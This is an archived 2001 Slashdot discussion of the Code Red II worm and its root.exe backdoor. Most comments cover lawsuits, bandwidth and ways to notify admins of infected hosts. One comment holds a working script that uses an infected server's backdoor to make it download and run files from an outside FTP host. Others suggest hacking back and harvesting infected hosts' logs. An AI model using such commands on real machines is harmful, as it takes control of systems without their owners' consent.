Slashdot Mirror


Code Red II: Shells for the Taking

sigurdur writes "It seems there is a new and more malicious version of Code Red out there. This one seems to try and copy cmd.exe into a position where it is accesible to us all - the scripts directory. So far I have seen it reported on the intrusions-list at incidents.org where they also just put up a notice about this third generation Code Red worm." I still think sircam is more annoying since it affects every email user, and not primarily poorly administered websites. But imagine how much bandwidth Code Red and Sircam have wasted in the last few weeks?

19 of 602 comments (clear)

  1. Re:Apache users Create default.ida 5mb!!!! by beable · · Score: 2, Interesting

    How about if somebody writes a default.ida script which sends the attacking server a GET /default.ida which makes the server go to miscrosoft.com, download and install the patch, and reboot itself? That'd be neat.

    --
    ...
  2. Sue Microsoft - its time for class action by Anonymous Coward · · Score: 1, Interesting

    I'm surprised that Microsoft has escaped a huge class-action lawsuit for all the damage their products have piled upon their users and non-microsoft users. Its about time that somebody takes this on. I live in a Unix world but I'm tired of all the problems Gates and co. cause me.

  3. Code Red II (or III) on cable modem segments by possible · · Score: 2, Interesting
    I posted this to Bugtraq last night but it got rejected. :P

    Anyways, if cable modem users are seeing drastically increased ARPing, the targeting of the Code Red III variant should explain it -- hitting non-existent addresses on your subnet will cause the CMTSheadend router to ARP out to see who's got that address, you get the picture.

    At the very least, it's a good opportunity for users to see how many modems your provider has packed onto your segment. If they've packed too many on there, you can be sure the CMTS router's going to get seriously bogged down.

    I have an automated program which sends the IP addresses to the ARIS list *and* to my ISP's security department (those IP's which fall under their management) -- I wonder if ISP's are considering just dropping all packets from infected hosts, so when the customer comes to them and complains, they say "Oh, you're infected, reboot, install the patch, and we'll reconnect you." Seems that this would reduce the load on the CMTS and would be faster than trying to track down each customer individually.

    Chad Loder

    Rapid 7, Inc. - Next generation security products and services

    http://www.rapid7.com

  4. Re:The Breaking Point by Malcontent · · Score: 4, Interesting

    You can't sue MS (they are bigger then the govt prectically). But you can probably sue and company which uses IIS and stores your personal data. If that comapny was using IIS and they failed to patch their system then they have been criminally negligent in their duties. A few suits and all companies will drop IIS like a hot potato.
    Everybody wins.

    --

    War is necrophilia.

  5. Re:Microsoft Internet Pollution - My Server Log! by jeremyp · · Score: 4, Interesting

    There's been an IIS patch available for several months which blocks the hole exploited by CodeRed. You can't sue M$ for negligence but you might be able to sue any of the web server owners who haven't applied the patch.

    Actually, there has been a beneficial effect with CodeRed (in the UK at least). I have seen several reports on British network news programmes that talk about "security flaws in M$ software", not "security flaws in the Internet". It's quite a step forward for the media here not to treat M$ software and Internet / PC software as being effectively synonymous. There is a faint but real message that the problem is Microsoft.

    --
    All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
  6. File download script by nebby · · Score: 5, Interesting

    (Copied from the other thread, for those who are working on a way to fix this worm)

    I played around for a few hours with this, trying to make a ghetto script that would fix the servers. There's no way for me to be sure my other stuff works, but the thing I did get working was a script to download files to the infected server from an ftp site.


    #!/bin/sh
    # Code Red ][ Download File script
    # Usage: dlfile.sh infectedIP filename
    #
    # Please set the $ftp and $dir values to
    # the ftp and directory of the patch and shutdown repository

    # For ftp.youhavesetup.com
    FTP="ftp%2eyouhavesetup%2ecom"
    # Directory /pub/cr
    DIR="%2fpub%2fcr"

    echo GET /scripts/root.exe?+%2fc+echo+bin+%3etmpfile | telnet $1 80
    sleep 1
    echo GET /scripts/root.exe?+%2fc+echo+get+$DIR%2f$2+%3e%3et mpfile | telnet $1 80
    sleep 1
    echo GET /scripts/root.exe?+%2fc+echo+ftp+%2dA+%2ds%3atmpfi le+$FTP+%3edlfile%2ecmd | telnet $1 80
    # Note that slashcode inserts a space in the string 'tmpfile' on both these lines, remove before running
    sleep 1
    echo GET /scripts/root.exe?+/k+dlfile%2ecmd | telnet $1 80


    I tried setting it up and got the servers to download the patches, but I can't be sure that they are actually run. (I don't have an infected machine to test.) Also, I was unable to figure out a way to get the machines to reboot or restart IIS. It appears root.exe has limited permission in what it can do (as another poster or two stated.) There might be hacks that will do what I want to, but I'm too tired to mess with this anymore :)

    --
    --
    1. Re:File download script by nebby · · Score: 3, Interesting

      Yeah I realize that. I'm not doing anymore "work" on this, but I figured I might as well post it. I figure I painted myself red enough on one or two win2k cable modems for one lifetime now.

      The intention isn't the same as crackers though, writing a script to patch and restart IIS not an in your face "showing their vulnerabilities" crack, it's basically a free-of-charge windows update complements of whoever runs the script. I'm not saying that it is legal, but it's definitely not a "ha ha I got rewt your windows box is insecure" crack. It a "I noticed your computer is insecure, I fixed it. Have a nice day, and don't let it happen again." crack.

      If anyone actually sat and wrote a complex script to fix these computers, I *highly* doubt that a sane judge would pound the gavel on them, especially if the good they do is significant enough and measurable. (Personally, I would *love* to see someone outside of Microsoft do this before MS gets the chance to issue a fix and once again look like the good guys even though it's their original fuck up.)

      --
      --
  7. Re:Killing small ISPs by sirPaul · · Score: 2, Interesting
    --


    -pB
  8. Re:The Breaking Point by rberger · · Score: 2, Interesting
    Why not a class action suit against Microsoft? Seems that would be an appropriate action since Microsoft is now officially a monopoly, end users who are recieving the SirCam files who are not Microsoft users are one good class. ISPs who do not use Microsoft servers who's networks are being floodded by Code Red and SirCam are another good class...

    And even the clueless ones who continue to use inherently defective software such as Outlook and IIS have as much right to sue MS as people who smoked for 50 years have to sue tobacco firms...

  9. Re:Someone needs to write by norton_I · · Score: 2, Interesting

    That is probably illegal, and certainly a bad idea (self reproducing code almost always causes problems even when you don't intend it to) but what I wonder is if you could get away with creating a CGI called default.ida that attempted to automatically connect back to the client, disinfect the machine, and install a patch. It is much less dangerous since it doesn't reproduce, and you could certainly make the argument that it was only done in retaliation to someone (unwittingly) attempting to infect your computer with a virus.

  10. ...and these machines are proud of it! by Sun+Tzu · · Score: 4, Interesting

    heheh! Not only is it a fine remote administration feature, but it's also pretty slick the way machines upgraded in this way advertise their new status to everyone with a webserver on port 80.

  11. Experiment by XBL · · Score: 2, Interesting
    I am on @Home, and have an unpatched Windows 2000 Server (Warez Edition) installation. I've just turned it on a half-hour ago. Now let's see how long it takes to get the worm. If I get it, I'll post an update with the time.

    Right now my NIC is flickering like mad, yet Windows 2000 does not show these as incoming or outgoing packets. What is going on?

  12. Gnu/Sircam? by Tachys · · Score: 2, Interesting

    I wanted to know would it be possible to make a similar virus for Linux using a Bash Shell.

    If not, why not?

  13. Re:Help track this: submit your logs to dshield! by Anonymous Coward · · Score: 1, Interesting

    Does anyone else find it ironic that vunerabilities.org, a security scanning site, is listed in the top ten attackers on dshield.org? At least, it is listed as of 16:45 EDT.

  14. How to get a list of all infected hosts by braddock · · Score: 2, Interesting
    So I have this log of about 100 CR2 hosts who have attacked my web server, and each of those infected hosts have probably got records of 100 other hosts that have tried to reinfect them in their logs. If I snarf all their logs, I'll have 10,000 compromised hosts that I've got root access on. Do it one more level, and I've got every compromised machine on the internet. How long until some kiddie scripts that up?



    OR, one group could patch all those infected hosts...or at least notify the admins.



    I've got a full analysis of this at http://braddock.com/cr2.html

  15. Aural Feedback by Aldurn · · Score: 3, Interesting

    I was curious just how often RedCode attacks. Sure, looking through the apache log files is nice, but it just didn't give me the sense of urgency... the quick succession at which attacks take place. So, I whipped up a quick perl script to play a noise every time I was "attacked". Needless to say, it's getting kind of annoying, but it still is incredible:

    #!/usr/bin/perl
    while(1) {
    system("cat /var/log/your-access.log | grep XXXXXXXXXXXXX | cut -d \" \" -f 1 | wc -l > attacks_b");
    $returnval = system("diff attacks_a attacks_b > /dev/null");
    if(0!=$returnval) {
    system("cp -f attacks_b attacks_a");
    system("play buzzer2.aiff &");
    }
    sleep(1);
    }

    --
    char sig[120] = "\0"
  16. Automated notification script by the+way · · Score: 3, Interesting

    To automatically notify webmasters of infected sites, if you have mod_perl/Apache, use this script:

    http://forum.swarthmore.edu/epigone/modperl/nehzah prerm

    It identifies any attempt to access '/default.ida', looks up the MX records of the remote IP, and sends a notification to postmaster@. It is not a 'hack back', just a notification email.

  17. Re:Apache users Create default.ida 5mb!!!! by Anonymous Coward · · Score: 3, Interesting

    Or you could setup default.ida as a perl script that telnets to the ip's 25 port and sends an email with the fact they have a box thats screwed.. like the guy did here.

  18. Re:How to send a message to the poor bastards by Fester213 · · Score: 2, Interesting

    I do something similar, except I pop up an IE window pointing to a page on a site I host explaining code red and how to fix it. I always get that CGI error, but my server logs report a hit from the infected host on my explanation page. So that error is perfectly normal - it's working.

    --

    -- Fester
    "Freedom is the freedom to say that two plus two make four. If that is granted, all else follows."